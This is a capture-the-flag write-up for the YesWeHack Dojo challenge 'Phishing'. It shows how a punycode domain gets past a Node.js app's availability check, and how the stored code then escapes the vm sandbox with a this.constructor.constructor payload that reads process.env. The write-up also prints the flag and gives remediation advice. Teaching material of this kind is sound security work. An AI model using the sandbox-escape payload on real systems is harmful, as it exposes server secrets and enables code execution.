The Dojo challenge, Phishing, asked participants to perform a punycode attack to overwrite source code, escape a sandbox and perform a JavaScript code injection which exposes the flag.
💡 Want to create your own monthly Dojo challenge? Send us a message on X!
The winners
Congrats to Sto, MerleSurLeToit and thepotata for the best write-ups 🥳
The swag is on its way! 🎁
Subscribe to our X and/or LinkedIn feeds to be notified of upcoming challenges.
Read on to find out how one of the winners managed to solve the challenge.
TALKIE PWNII #4: VIDEO CHALLENGE WRITE-UP
OVERALL BEST WRITE-UP
We want to thank everyone who participated and reported to the Dojo challenge. Below is the best write-up overall:
————– START OF thepotata‘s REPORT —————
Description
The challenge revolves around a web application that allows users to purchase and update websites. However, the application is vulnerable to code injection due to improper handling of user input in the GetWebsiteCode
function. The application uses Node.js's vm
module to execute JavaScript code within a sandboxed environment. The issue arises from the use of vm.runInContext()
, which is intended to restrict code execution but is improperly implemented, allowing an attacker to escape the sandbox and execute arbitrary code on the host machine.
This vulnerability is particularly dangerous because escaping the vm
context can lead to remote code execution (RCE), granting an attacker access to sensitive system resources and executing commands.
Exploitation
During the initial reconnaissance phase, a thorough code inspection was conducted to understand the application's architecture and functionality. The application is built using Node.js and utilizes the vm
module to execute user-provided JavaScript in an isolated environment. The code defines a sandboxed execution context and processes user input before passing it to vm.runInContext()
. Additionally, various utility functions are implemented to handle user requests and manage application logic. By analyzing the source code, we can identify how input is handled, processed, and executed, which provides insight into potential security risks and areas requiring further scrutiny.
Code Analysis
On the initial code analysis, the tech stack was analyzed, and it wasn't tough to realize that the underlying stack was Node.js, sqlite3 for database and ejs for templating. The first block of code is the main method, which handles the user input and handles the main application functionality.
async function main() {
await Init_db();
// User input
var website = decodeURIComponent("");
var sourcecode = decodeURIComponent("");
if ( website.length == 0 ) {
return {website, message:null}
}
try {
// Check if website is available
const isAvailable = await WebsiteIsAvailable(website)
if ( !isAvailable ) {
return {website, err:Error("This site has already been purchased by another user!")}
}
website = punycode.toUnicode(website)
await BuyWebsite(website)
} catch {
return {website, err:Error("Invalid website given!")}
}
// Update the website for the client
const websites = await GetAllWebsites()
for ( let i = 0; i < websites.length; i++ ) {
let wsite = websites[i].website
if ( website == wsite ) {
UpdateWebsiteContent(wsite, sourcecode)
break
}
}
// Verify the source code in a sandbox environment
try {
vm.runInContext(
(await GetWebsiteCode("dójó-yeswehack.com")),
vm.createContext({})
);
// Notify our infra in case we got an error
} catch(err) {
NotifyInfra(err)
return {website, err:Error("Our code is broken!")}
}
return {website, message:"Nice catch - You're all set!"}
}
When the main
function executes,, it first initializes the db with Init_db
function which populates the database with two websites dójó-yeswehack.com
and dojo-yeswehack.com
and code // Code in dev
.
async function Init_db() {
return new Promise((resolve, reject) => {
db.exec(`
CREATE TABLE IF NOT EXISTS websites (
id INTEGER PRIMARY KEY AUTOINCREMENT,
website TEXT NOT NULL,
code TEXT
);
INSERT INTO websites (website, code) VALUES
('dójó-yeswehack.com', '// Code in dev'),
('dojo-yeswehack.com', '// Code in dev')
`, (err) => err ? reject(err) : resolve());
});
}
The user inputs input_website
and input_code
are handled on the next step.
// User input
var website = decodeURIComponent("dojo-yeswehack.com");
var sourcecode = decodeURIComponent("");
This code initializes two variables, website
and sourcecode
, by decoding potentially URL-encoded strings. Next, it is checked if the website
variable is an empty string. In case it is empty string, the function returns early with message
as null
.
The next try-catch block was an important block in uncovering this vulnerability.
try {
// Check if website is available
const isAvailable = await WebsiteIsAvailable(website)
if ( !isAvailable ) {
return {website, err:Error("This site has already been purchased by another user!")}
}
website = punycode.toUnicode(website)
await BuyWebsite(website)
} catch {
return {website, err:Error("Invalid website given!")}
}
The provided code is responsible for handling the registration of a website by checking its availability and, if available, proceeding with its purchase. The process follows a structured approach to ensure that duplicate registrations do not occur.
The function first calls WebsiteIsAvailable(website)
, which queries the database to check if the provided website name already exists. If the website is found in the database, it means it has already been registered by another user. If the website is already taken (isAvailable
is false
), the function immediately returns an error message:
If the website is available, it is converted to Unicode using punycode.toUnicode(website)
. This step is crucial because domain names can be represented in Punycode, which encodes international characters into ASCII. It means if an attacker provides the punycode encoded version of an existing website, it escapes the availability check and gets converted back to Unicode version in this step.
async function BuyWebsite(website) {
return new Promise((resolve, reject) => {
const stmt = db.prepare(`INSERT INTO websites(website) VALUES(?)`);
stmt.run([website],
(err) => err ? reject(err) : resolve()
);
});
}
In case an invalid website is given, it throws the error, "Invalid website given!"
Next lines of code is responsible for updating the content of a website for the client after checking if the website already exists in the database.
// Update the website for the client
const websites = await GetAllWebsites()
for ( let i = 0; i < websites.length; i++ ) {
let wsite = websites[i].website
if ( website == wsite ) {
UpdateWebsiteContent(wsite, sourcecode)
break
}
}
This code retrieves all websites from the database, checks if the provided website exists, and if found, updates its content with the given source code. The update stops once the first matching website is found. This method is crucial for injection of the user provided payload.
async function UpdateWebsiteContent(website, code) {
return new Promise((resolve, reject) => {
const stmt = db.prepare(`UPDATE websites SET code = ? WHERE website = ?`);
stmt.run([code, website],
(err) => err ? reject(err) : resolve()
);
});
}
And here comes the most crucial block of the code.
// Verify the source code in a sandbox environment
try {
vm.runInContext(
(await GetWebsiteCode("dójó-yeswehack.com")),
vm.createContext({})
);
// Notify our infra in case we got an error
} catch(err) {
NotifyInfra(err)
return {website, err:Error("Our code is broken!")}
} // Verify the source code in a sandbox environment
try {
vm.runInContext(
(await GetWebsiteCode("dójó-yeswehack.com")),
vm.createContext({})
);
// Notify our infra in case we got an error
} catch(err) {
NotifyInfra(err)
return {website, err:Error("Our code is broken!")}
}
This section of the code is responsible for verifying the source code of the website dójó-yeswehack.com
by executing it in a controlled and secure environment. The code first retrieves the source code associated with the specified website from the database using the GetWebsiteCode
function. Once the source code is obtained, it is run in a sandboxed environment using vm.runInContext()
. This approach ensures that the source code is executed in isolation from the rest of the system, effectively preventing any unintended side effects or security vulnerabilities from affecting the broader environment.
The execution occurs in a context created by vm.createContext({})
. If the source code contains errors or causes an exception during execution, the error is caught by the catch
block. When an error occurs, the function NotifyInfra(err)
is called to notify the infrastructure team about the issue, and the main function returns an error message indicating that the code verification process failed with the message "Our code is broken!"
Code Analysis Conclusion
Having understood the complete application logic, it is now easy to look for the security flaws. There is a normal flow when the user enters an available website and a valid or empty code, it displays the "Nice Catch - You're all set!" message.
However, if a user enters dójó-yeswehack.com
which already exists on the database, it shows that it has been already registered by another user. This blocks one from updating the source code and executing it in the sandbox environment.
So an input_website
payload that escapes the availability check was required. The simple idea (and also mentioned in the hint) is to convert the website dójó-yeswehack.com
to punycoded version which came out to be xn--dj-yeswehack-0hbb.com
. This website escapes the WebsiteIsAvailable
check and gets converted back to unicoded version once availability check is done. So this can be used to update the source code of the website that could potentially escape the sandbox and execute code that can read the environment variables.
website = punycode.toUnicode(website)
Now a payload that escapes the payload and can read the environment variables was required. On the pursuit of payload for input_code
, I came across multiple resources and tried a lot of different payloads. I finally managed to come up with the payload that escapes the JavaScript sandbox.
this.constructor.constructor("console.log(process.env)")()
Using this.constructor.constructor
we can refer to the JavaScript
Function object. A JavaScript function has a characteristic in which it accepts code as string and will then execute it. Our attack will exploit this fact and — along with a immediately invoked function execution, known as IIFE for short — will print the environment variables for the running Node.js process.
Which displayed the environment variables and you've pawned it modal.
I then changed the payload to display just the FLAG env variable,
this.constructor.constructor("console.log(process.env.FLAG)")()
Proof Of Concept
With this injection, it is possible to read the environment vaiables of the Node.js process that is executing. The punycoded website name xn--dj-yeswehack-0hbb.com
escaped the availability check and allowed to update the malicious source code in the website i.e. this.constructor.constructor("console.log(process.env.FLAG)")()
that exposes the sensitive env variables to the attacker.
The payloads used are:
input_website: xn--dj-yeswehack-0hbb.com
input-code: this.constructor.constructor("console.log(process.env.FLAG)")()
The FLAG as obtained from the console.log
of environment variable is
FLAG{Y0u_ju5t_h4v3_t0_dive_d33p}
Risk
An attacker could exploit this vulnerability to execute arbitrary Javscript code and disclose internal information like environment variables. If users are allowed to run custom code, they have complete access to the Node.js server runtime and can spawn processes, access the file system, and more.
Remediation
- Use Secure Sandboxing Libraries: Libraries like vm2 provide stricter isolation and prevent prototype pollution attacks.
- Restrict Global Access: Limit access to built-in objects like Function, eval, and require by explicitly defining a safe environment.
- Implement input sanitization to block malicious payloads
————– END OF thepotata‘s REPORT —————